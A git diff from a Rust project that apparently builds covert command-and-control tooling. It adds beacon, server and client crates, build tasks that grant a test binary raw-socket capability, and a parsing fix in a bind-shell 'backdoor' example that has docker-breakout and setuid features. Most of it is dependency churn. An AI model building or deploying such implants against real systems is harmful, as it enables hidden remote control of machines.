diff --git a/.devcontainer/Dockerfile.alpine b/.devcontainer/Dockerfile.alpine
index d63ebe5..fd373f8 100644
--- a/.devcontainer/Dockerfile.alpine
+++ b/.devcontainer/Dockerfile.alpine
@@ -13,9 +13,9 @@
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see .
-FROM rust:1-alpine
+FROM rust:1.73-alpine
-RUN apk add cmake make automake musl-dev autoconf libtool \
+RUN apk add cmake make automake musl-dev autoconf libtool libcap \
flex bison linux-headers openssl-dev lldb build-base libcap-dev
RUN apk add mingw-w64-gcc mingw-w64-winpthreads mingw-w64-headers && \
diff --git a/Cargo.lock b/Cargo.lock
index 4eda7b6..1fe13f4 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -71,6 +71,21 @@ dependencies = [
"opaque-debug",
]
+[[package]]
+name = "android-tzdata"
+version = "0.1.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0"
+
+[[package]]
+name = "android_system_properties"
+version = "0.1.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"
+dependencies = [
+ "libc",
+]
+
[[package]]
name = "ansi_term"
version = "0.12.1"
@@ -148,6 +163,12 @@ dependencies = [
"generic-array",
]
+[[package]]
+name = "bumpalo"
+version = "3.14.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec"
+
[[package]]
name = "byteorder"
version = "1.4.3"
@@ -178,6 +199,21 @@ version = "1.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
+[[package]]
+name = "chrono"
+version = "0.4.31"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7f2c685bad3eb3d45a01354cedb7d5faa66194d1d58ba6e267a8de788f79db38"
+dependencies = [
+ "android-tzdata",
+ "iana-time-zone",
+ "js-sys",
+ "num-traits",
+ "serde",
+ "wasm-bindgen",
+ "windows-targets",
+]
+
[[package]]
name = "cipher"
version = "0.2.5"
@@ -222,6 +258,12 @@ dependencies = [
"winapi",
]
+[[package]]
+name = "core-foundation-sys"
+version = "0.8.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f"
+
[[package]]
name = "cpufeatures"
version = "0.2.7"
@@ -237,6 +279,15 @@ version = "0.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "dcb25d077389e53838a8158c8e99174c5a9d902dee4904320db714f3c653ffba"
+[[package]]
+name = "crossbeam-utils"
+version = "0.8.16"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5a22b2d63d4d1dc0b7f1b6b2747dd0088008a9be28b6ddf0b1e7d335e3037294"
+dependencies = [
+ "cfg-if",
+]
+
[[package]]
name = "crypto-mac"
version = "0.10.1"
@@ -264,7 +315,7 @@ checksum = "0b9fdf9972b2bd6af2d913799d9ebc165ea4d2e65878e329d9c6b372c4491b61"
dependencies = [
"byteorder",
"digest",
- "rand_core",
+ "rand_core 0.5.1",
"subtle",
"zeroize",
]
@@ -301,7 +352,7 @@ dependencies = [
"digest",
"hex",
"hkdf",
- "rand",
+ "rand 0.7.3",
"serde",
"sha2",
"thiserror",
@@ -326,7 +377,7 @@ checksum = "c762bae6dcaf24c4c84667b8579785430908723d5c889f469d76a41d59cc7a9d"
dependencies = [
"curve25519-dalek",
"ed25519",
- "rand",
+ "rand 0.7.3",
"serde",
"serde_bytes",
"sha2",
@@ -352,7 +403,7 @@ checksum = "136526188508e25c6fef639d7927dfb3e0e3084488bf202267829cf7fc23dbdd"
dependencies = [
"errno-dragonfly",
"libc",
- "windows-sys 0.48.0",
+ "windows-sys",
]
[[package]]
@@ -395,7 +446,7 @@ name = "ex-bind-shell-key-generator"
version = "0.1.0"
dependencies = [
"ed25519-dalek",
- "rand",
+ "rand 0.7.3",
]
[[package]]
@@ -534,6 +585,17 @@ dependencies = [
"wasi 0.9.0+wasi-snapshot-preview1",
]
+[[package]]
+name = "getrandom"
+version = "0.2.10"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "be4136b2a15dd319360be1c07d9933517ccf0be8f16bf62a3bee4f0d618df427"
+dependencies = [
+ "cfg-if",
+ "libc",
+ "wasi 0.11.0+wasi-snapshot-preview1",
+]
+
[[package]]
name = "ghash"
version = "0.3.1"
@@ -603,12 +665,44 @@ dependencies = [
"digest",
]
+[[package]]
+name = "iana-time-zone"
+version = "0.1.58"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8326b86b6cff230b97d0d312a6c40a60726df3332e721f72a1b035f451663b20"
+dependencies = [
+ "android_system_properties",
+ "core-foundation-sys",
+ "iana-time-zone-haiku",
+ "js-sys",
+ "wasm-bindgen",
+ "windows-core",
+]
+
+[[package]]
+name = "iana-time-zone-haiku"
+version = "0.1.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f"
+dependencies = [
+ "cc",
+]
+
[[package]]
name = "itoa"
version = "1.0.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "453ad9f582a441959e5f0d088b02ce04cfe8d51a8eaf077f12ac6d3e94164ca6"
+[[package]]
+name = "js-sys"
+version = "0.3.66"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cee9c64da59eae3b50095c18d3e74f8b73c0b86d2792824ff01bbce68ba229ca"
+dependencies = [
+ "wasm-bindgen",
+]
+
[[package]]
name = "lazy_static"
version = "1.4.0"
@@ -617,9 +711,9 @@ checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
[[package]]
name = "libc"
-version = "0.2.147"
+version = "0.2.150"
source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b4668fb0ea861c1df094127ac5f1da3409a82116a4ba74fca2e58ef927159bb3"
+checksum = "89d92a4743f9a61002fae18374ed11e7973f530cb3a3255fb354818118b2203c"
[[package]]
name = "linux-raw-sys"
@@ -628,12 +722,22 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "57bcfdad1b858c2db7c38303a6d2ad4dfaf5eb53dfeb0910128b2c26d6158503"
[[package]]
-name = "log"
-version = "0.4.17"
+name = "lock_api"
+version = "0.4.10"
source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e"
+checksum = "c1cc9717a20b1bb222f333e6a92fd32f7d8a18ddc5a3191a11af45dcbf4dcd16"
dependencies = [
- "cfg-if",
+ "autocfg",
+ "scopeguard",
+]
+
+[[package]]
+name = "log"
+version = "0.4.20"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f"
+dependencies = [
+ "value-bag",
]
[[package]]
@@ -653,14 +757,24 @@ dependencies = [
[[package]]
name = "mio"
-version = "0.8.6"
+version = "0.8.9"
source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5b9d9a46eff5b4ff64b45a9e316a6d1e0bc719ef429cbec4dc630684212bfdf9"
+checksum = "3dce281c5e46beae905d4de1870d8b1509a9142b62eedf18b443b011ca8343d0"
dependencies = [
"libc",
- "log",
"wasi 0.11.0+wasi-snapshot-preview1",
- "windows-sys 0.45.0",
+ "windows-sys",
+]
+
+[[package]]
+name = "nix"
+version = "0.27.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2eb04e9c688eff1c89d72b407f168cf79bb9e867a9d3323ed6c01519eb9cc053"
+dependencies = [
+ "bitflags 2.4.0",
+ "cfg-if",
+ "libc",
]
[[package]]
@@ -709,6 +823,12 @@ dependencies = [
"memchr",
]
+[[package]]
+name = "once_cell"
+version = "1.18.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d"
+
[[package]]
name = "opaque-debug"
version = "0.3.0"
@@ -719,6 +839,29 @@ checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5"
name = "packets"
version = "0.1.0"
+[[package]]
+name = "parking_lot"
+version = "0.12.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f"
+dependencies = [
+ "lock_api",
+ "parking_lot_core",
+]
+
+[[package]]
+name = "parking_lot_core"
+version = "0.9.8"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "93f00c865fe7cabf650081affecd3871070f26767e7b2070a3ffae14c654b447"
+dependencies = [
+ "cfg-if",
+ "libc",
+ "redox_syscall",
+ "smallvec",
+ "windows-targets",
+]
+
[[package]]
name = "paste"
version = "1.0.14"
@@ -860,13 +1003,24 @@ version = "0.7.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03"
dependencies = [
- "getrandom",
+ "getrandom 0.1.16",
"libc",
- "rand_chacha",
- "rand_core",
+ "rand_chacha 0.2.2",
+ "rand_core 0.5.1",
"rand_hc",
]
+[[package]]
+name = "rand"
+version = "0.8.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
+dependencies = [
+ "libc",
+ "rand_chacha 0.3.1",
+ "rand_core 0.6.4",
+]
+
[[package]]
name = "rand_chacha"
version = "0.2.2"
@@ -874,7 +1028,17 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402"
dependencies = [
"ppv-lite86",
- "rand_core",
+ "rand_core 0.5.1",
+]
+
+[[package]]
+name = "rand_chacha"
+version = "0.3.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
+dependencies = [
+ "ppv-lite86",
+ "rand_core 0.6.4",
]
[[package]]
@@ -883,7 +1047,16 @@ version = "0.5.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19"
dependencies = [
- "getrandom",
+ "getrandom 0.1.16",
+]
+
+[[package]]
+name = "rand_core"
+version = "0.6.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
+dependencies = [
+ "getrandom 0.2.10",
]
[[package]]
@@ -892,7 +1065,7 @@ version = "0.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c"
dependencies = [
- "rand_core",
+ "rand_core 0.5.1",
]
[[package]]
@@ -914,6 +1087,15 @@ dependencies = [
"bitflags 1.3.2",
]
+[[package]]
+name = "ringbuf"
+version = "0.3.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "79abed428d1fd2a128201cec72c5f6938e2da607c6f3745f769fabea399d950a"
+dependencies = [
+ "crossbeam-utils",
+]
+
[[package]]
name = "rmp"
version = "0.8.12"
@@ -961,9 +1143,21 @@ dependencies = [
"errno 0.3.3",
"libc",
"linux-raw-sys",
- "windows-sys 0.48.0",
+ "windows-sys",
]
+[[package]]
+name = "ryu"
+version = "1.0.15"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1ad4cc8da4ef723ed60bced201181d83791ad433213d8c24efffda1eec85d741"
+
+[[package]]
+name = "scopeguard"
+version = "1.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
+
[[package]]
name = "semver"
version = "0.9.0"
@@ -981,9 +1175,9 @@ checksum = "388a1df253eca08550bef6c72392cfe7c30914bf41df5269b68cbd6ff8f570a3"
[[package]]
name = "serde"
-version = "1.0.188"
+version = "1.0.193"
source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cf9e0fcba69a370eed61bcf2b728575f726b50b55cba78064753d708ddc7549e"
+checksum = "25dd9975e68d0cb5aa1120c288333fc98731bd1dd12f561e468ea4728c042b89"
dependencies = [
"serde_derive",
]
@@ -999,15 +1193,26 @@ dependencies = [
[[package]]
name = "serde_derive"
-version = "1.0.188"
+version = "1.0.193"
source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4eca7ac642d82aa35b60049a6eccb4be6be75e599bd2e9adb5f875a737654af2"
+checksum = "43576ca501357b9b071ac53cdc7da8ef0cbd9493d8df094cd821777ea6e894d3"
dependencies = [
"proc-macro2 1.0.66",
"quote 1.0.33",
"syn 2.0.29",
]
+[[package]]
+name = "serde_json"
+version = "1.0.108"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3d1c7e3eac408d115102c4c24ad393e0821bb3a5df4d506a80f85f7a742a526b"
+dependencies = [
+ "itoa",
+ "ryu",
+ "serde",
+]
+
[[package]]
name = "serde_repr"
version = "0.1.16"
@@ -1049,15 +1254,14 @@ checksum = "74233d3b3b2f6d4b006dc19dee745e73e2a6bfb6f93607cd3b02bd5b00797d7c"
[[package]]
name = "simple_logger"
-version = "4.1.0"
+version = "4.3.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e78beb34673091ccf96a8816fce8bfd30d1292c7621ca2bcb5f2ba0fae4f558d"
+checksum = "da0ca6504625ee1aa5fda33913d2005eab98c7a42dd85f116ecce3ff54c9d3ef"
dependencies = [
- "atty",
"colored",
"log",
"time",
- "windows-sys 0.42.0",
+ "windows-sys",
]
[[package]]
@@ -1070,13 +1274,19 @@ dependencies = [
]
[[package]]
-name = "socket2"
-version = "0.5.3"
+name = "smallvec"
+version = "1.11.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2538b18701741680e0322a2302176d3253a35388e2e62f172f64f4f16605f877"
+checksum = "62bb4feee49fdd9f707ef802e22365a35de4b7b299de4763d44bfea899442ff9"
+
+[[package]]
+name = "socket2"
+version = "0.5.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7b5fac59a5cb5dd637972e5fca70daf0523c9067fcdc4842f053dae04a18f8e9"
dependencies = [
"libc",
- "windows-sys 0.48.0",
+ "windows-sys",
]
[[package]]
@@ -1088,7 +1298,7 @@ dependencies = [
"ecies-ed25519",
"ed25519-dalek",
"libc",
- "rand",
+ "rand 0.7.3",
"raw_tty",
"rmp-serde",
"serde",
@@ -1104,7 +1314,7 @@ version = "0.1.0"
dependencies = [
"ecies-ed25519",
"ed25519-dalek",
- "rand",
+ "rand 0.7.3",
"serde",
"serde_repr",
]
@@ -1122,13 +1332,67 @@ dependencies = [
"log",
"packets",
"pcap-sys",
- "rand",
+ "rand 0.7.3",
"rmp-serde",
"serde",
"simple_logger",
"sparse-05-common",
]
+[[package]]
+name = "sparse-c2-beacon"
+version = "0.1.0"
+dependencies = [
+ "anyhow",
+ "catconf",
+ "libc",
+ "log",
+ "nl-sys",
+ "packets",
+ "pcap-sys",
+ "rand 0.8.5",
+ "ringbuf",
+ "serde",
+ "serde_json",
+ "simple_logger",
+ "sparse-c2-messages",
+ "tokio",
+ "tokio-stream",
+]
+
+[[package]]
+name = "sparse-c2-client"
+version = "0.1.0"
+dependencies = [
+ "anyhow",
+ "serde_json",
+ "sparse-c2-messages",
+ "structopt",
+ "tokio",
+]
+
+[[package]]
+name = "sparse-c2-messages"
+version = "0.1.0"
+dependencies = [
+ "chrono",
+ "serde",
+]
+
+[[package]]
+name = "sparse-c2-server"
+version = "0.1.0"
+dependencies = [
+ "anyhow",
+ "chrono",
+ "log",
+ "nix",
+ "serde_json",
+ "simple_logger",
+ "sparse-c2-messages",
+ "tokio",
+]
+
[[package]]
name = "sparse-protocol"
version = "0.1.0"
@@ -1206,6 +1470,23 @@ dependencies = [
"unicode-ident",
]
+[[package]]
+name = "tcp-test"
+version = "0.1.0"
+dependencies = [
+ "anyhow",
+ "libc",
+ "log",
+ "nl-sys",
+ "packets",
+ "pcap-sys",
+ "rand 0.8.5",
+ "ringbuf",
+ "simple_logger",
+ "tokio",
+ "tokio-stream",
+]
+
[[package]]
name = "tempfile"
version = "3.8.0"
@@ -1216,7 +1497,7 @@ dependencies = [
"fastrand",
"redox_syscall",
"rustix",
- "windows-sys 0.48.0",
+ "windows-sys",
]
[[package]]
@@ -1279,27 +1560,28 @@ dependencies = [
[[package]]
name = "tokio"
-version = "1.32.0"
+version = "1.34.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "17ed6077ed6cd6c74735e21f37eb16dc3935f96878b1fe961074089cc80893f9"
+checksum = "d0c014766411e834f7af5b8f4cf46257aab4036ca95e9d2c144a10f59ad6f5b9"
dependencies = [
"backtrace",
"bytes",
"libc",
"mio",
"num_cpus",
+ "parking_lot",
"pin-project-lite",
"signal-hook-registry",
"socket2",
"tokio-macros",
- "windows-sys 0.48.0",
+ "windows-sys",
]
[[package]]
name = "tokio-macros"
-version = "2.1.0"
+version = "2.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "630bdcf245f78637c13ec01ffae6187cca34625e8c63150d424b59e55af2675e"
+checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b"
dependencies = [
"proc-macro2 1.0.66",
"quote 1.0.33",
@@ -1315,6 +1597,20 @@ dependencies = [
"futures-core",
"pin-project-lite",
"tokio",
+ "tokio-util",
+]
+
+[[package]]
+name = "tokio-util"
+version = "0.7.8"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "806fe8c2c87eccc8b3267cbae29ed3ab2d0bd37fca70ab622e46aaa9375ddb7d"
+dependencies = [
+ "bytes",
+ "futures-core",
+ "futures-sink",
+ "pin-project-lite",
+ "tokio",
]
[[package]]
@@ -1357,6 +1653,12 @@ dependencies = [
"subtle",
]
+[[package]]
+name = "value-bag"
+version = "1.4.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4a72e1902dde2bd6441347de2b70b7f5d59bf157c6c62f0c44572607a1d55bbe"
+
[[package]]
name = "vec_map"
version = "0.8.2"
@@ -1381,6 +1683,60 @@ version = "0.11.0+wasi-snapshot-preview1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
+[[package]]
+name = "wasm-bindgen"
+version = "0.2.89"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0ed0d4f68a3015cc185aff4db9506a015f4b96f95303897bfa23f846db54064e"
+dependencies = [
+ "cfg-if",
+ "wasm-bindgen-macro",
+]
+
+[[package]]
+name = "wasm-bindgen-backend"
+version = "0.2.89"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1b56f625e64f3a1084ded111c4d5f477df9f8c92df113852fa5a374dbda78826"
+dependencies = [
+ "bumpalo",
+ "log",
+ "once_cell",
+ "proc-macro2 1.0.66",
+ "quote 1.0.33",
+ "syn 2.0.29",
+ "wasm-bindgen-shared",
+]
+
+[[package]]
+name = "wasm-bindgen-macro"
+version = "0.2.89"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0162dbf37223cd2afce98f3d0785506dcb8d266223983e4b5b525859e6e182b2"
+dependencies = [
+ "quote 1.0.33",
+ "wasm-bindgen-macro-support",
+]
+
+[[package]]
+name = "wasm-bindgen-macro-support"
+version = "0.2.89"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f0eb82fcb7930ae6219a7ecfd55b217f5f0893484b7a13022ebb2b2bf20b5283"
+dependencies = [
+ "proc-macro2 1.0.66",
+ "quote 1.0.33",
+ "syn 2.0.29",
+ "wasm-bindgen-backend",
+ "wasm-bindgen-shared",
+]
+
+[[package]]
+name = "wasm-bindgen-shared"
+version = "0.2.89"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7ab9b36309365056cd639da3134bf87fa8f3d86008abf99e612384a6eecd459f"
+
[[package]]
name = "winapi"
version = "0.3.9"
@@ -1404,27 +1760,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
[[package]]
-name = "windows-sys"
-version = "0.42.0"
+name = "windows-core"
+version = "0.50.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5a3e1820f08b8513f676f7ab6c1f99ff312fb97b553d30ff4dd86f9f15728aa7"
+checksum = "af6041b3f84485c21b57acdc0fee4f4f0c93f426053dc05fa5d6fc262537bbff"
dependencies = [
- "windows_aarch64_gnullvm 0.42.2",
- "windows_aarch64_msvc 0.42.2",
- "windows_i686_gnu 0.42.2",
- "windows_i686_msvc 0.42.2",
- "windows_x86_64_gnu 0.42.2",
- "windows_x86_64_gnullvm 0.42.2",
- "windows_x86_64_msvc 0.42.2",
-]
-
-[[package]]
-name = "windows-sys"
-version = "0.45.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0"
-dependencies = [
- "windows-targets 0.42.2",
+ "windows-targets",
]
[[package]]
@@ -1433,22 +1774,7 @@ version = "0.48.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
dependencies = [
- "windows-targets 0.48.0",
-]
-
-[[package]]
-name = "windows-targets"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071"
-dependencies = [
- "windows_aarch64_gnullvm 0.42.2",
- "windows_aarch64_msvc 0.42.2",
- "windows_i686_gnu 0.42.2",
- "windows_i686_msvc 0.42.2",
- "windows_x86_64_gnu 0.42.2",
- "windows_x86_64_gnullvm 0.42.2",
- "windows_x86_64_msvc 0.42.2",
+ "windows-targets",
]
[[package]]
@@ -1457,93 +1783,51 @@ version = "0.48.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7b1eb6f0cd7c80c79759c929114ef071b87354ce476d9d94271031c0497adfd5"
dependencies = [
- "windows_aarch64_gnullvm 0.48.0",
- "windows_aarch64_msvc 0.48.0",
- "windows_i686_gnu 0.48.0",
- "windows_i686_msvc 0.48.0",
- "windows_x86_64_gnu 0.48.0",
- "windows_x86_64_gnullvm 0.48.0",
- "windows_x86_64_msvc 0.48.0",
+ "windows_aarch64_gnullvm",
+ "windows_aarch64_msvc",
+ "windows_i686_gnu",
+ "windows_i686_msvc",
+ "windows_x86_64_gnu",
+ "windows_x86_64_gnullvm",
+ "windows_x86_64_msvc",
]
-[[package]]
-name = "windows_aarch64_gnullvm"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8"
-
[[package]]
name = "windows_aarch64_gnullvm"
version = "0.48.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "91ae572e1b79dba883e0d315474df7305d12f569b400fcf90581b06062f7e1bc"
-[[package]]
-name = "windows_aarch64_msvc"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43"
-
[[package]]
name = "windows_aarch64_msvc"
version = "0.48.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b2ef27e0d7bdfcfc7b868b317c1d32c641a6fe4629c171b8928c7b08d98d7cf3"
-[[package]]
-name = "windows_i686_gnu"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f"
-
[[package]]
name = "windows_i686_gnu"
version = "0.48.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "622a1962a7db830d6fd0a69683c80a18fda201879f0f447f065a3b7467daa241"
-[[package]]
-name = "windows_i686_msvc"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060"
-
[[package]]
name = "windows_i686_msvc"
version = "0.48.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4542c6e364ce21bf45d69fdd2a8e455fa38d316158cfd43b3ac1c5b1b19f8e00"
-[[package]]
-name = "windows_x86_64_gnu"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36"
-
[[package]]
name = "windows_x86_64_gnu"
version = "0.48.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ca2b8a661f7628cbd23440e50b05d705db3686f894fc9580820623656af974b1"
-[[package]]
-name = "windows_x86_64_gnullvm"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3"
-
[[package]]
name = "windows_x86_64_gnullvm"
version = "0.48.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7896dbc1f41e08872e9d5e8f8baa8fdd2677f29468c4e156210174edc7f7b953"
-[[package]]
-name = "windows_x86_64_msvc"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0"
-
[[package]]
name = "windows_x86_64_msvc"
version = "0.48.0"
diff --git a/Cargo.toml b/Cargo.toml
index 4edf42f..58e4e92 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -5,6 +5,8 @@ members = [
"examples/*/*",
"sparse-protocol",
"sparse-05/*",
+ "sparse-c2/*",
+ "tcp-test/client"
]
resolver = "2"
diff --git a/Makefile.toml b/Makefile.toml
index 8aaaf47..b0159b2 100644
--- a/Makefile.toml
+++ b/Makefile.toml
@@ -27,6 +27,28 @@ script = [
"docker-compose run build build --bin sparse-05-client ${@}",
]
+[tasks.tcp-test]
+workspace = false
+script = [
+ "docker-compose run build build --bin tcp-test ${@}",
+ "docker-compose run --entrypoint=setcap build cap_net_raw=eip /workspaces/sparse/target/debug/tcp-test"
+]
+
+[tasks.sparse-c2]
+workspace = false
+script = [
+ "docker-compose run build build --bin sparse-c2-beacon ${@}",
+ "docker-compose run build build --bin sparse-c2-server ${@}",
+ "docker-compose run build build --bin sparse-c2-client ${@}",
+]
+
+[tasks.run-tcp-test]
+workspace = false
+dependencies = ["tcp-test"]
+script = [
+ "docker-compose run tcptest_client /workspaces/sparse/target/debug/tcp-test $(/sbin/ip a show docker0 | awk -F'[ \t/]*' '/inet / { print $3 }')"
+]
+
[tasks.fmt]
command = "cargo"
args = ["fmt"]
@@ -68,6 +90,13 @@ command = "convco"
args = ["commit", "-i"]
dependencies = ["git-pre-commit", "git-add"]
+[tasks.git-share-root]
+workspace = false
+script = [
+ "git config --global --add safe.directory /workspaces/sparse/nl-sys/libnl",
+ "git config --global --add safe.directory /workspaces/sparse/pcap-sys/libpcap",
+]
+
#---------------------------------
#
# Project setup tasks
@@ -76,7 +105,7 @@ dependencies = ["git-pre-commit", "git-add"]
[tasks.setup]
workspace = false
-dependencies = ["setup-pull-rust-image", "setup-update-submodules"]
+dependencies = ["git-share-root", "setup-pull-rust-image", "setup-update-submodules"]
[tasks.setup-pull-rust-image]
workspace = false
diff --git a/docker-compose.yml b/docker-compose.yml
index 5240029..bc44714 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -44,3 +44,9 @@ services:
expose:
- "54248/udp"
command: /workspaces/sparse/target/debug/ex-revshell-server
+
+ tcptest_client:
+ image: alpine
+ volumes:
+ - ./target:/workspaces/sparse/target
+ command: /workspaces/sparse/target/debug/tcp-target
diff --git a/examples/bind-shell/backdoor/Cargo.toml b/examples/bind-shell/backdoor/Cargo.toml
index 3b71816..91453c9 100644
--- a/examples/bind-shell/backdoor/Cargo.toml
+++ b/examples/bind-shell/backdoor/Cargo.toml
@@ -22,4 +22,4 @@ cc = "1.0"
[features]
docker-breakout = []
no-exit = []
-setuid = ["libc"]
\ No newline at end of file
+setuid = ["libc"]
diff --git a/examples/bind-shell/backdoor/src/main.rs b/examples/bind-shell/backdoor/src/main.rs
index ea0804b..3e84f31 100644
--- a/examples/bind-shell/backdoor/src/main.rs
+++ b/examples/bind-shell/backdoor/src/main.rs
@@ -138,8 +138,12 @@ async fn handle_command(
) -> anyhow::Result<()> {
use pcap_sys::packets::*;
let eth_pkt = eth.pkt();
- let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()?;
- let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
+ let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()? else {
+ return Ok(());
+ };
+ let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else {
+ todo!()
+ };
let source_port = udp_pkt.srcport();
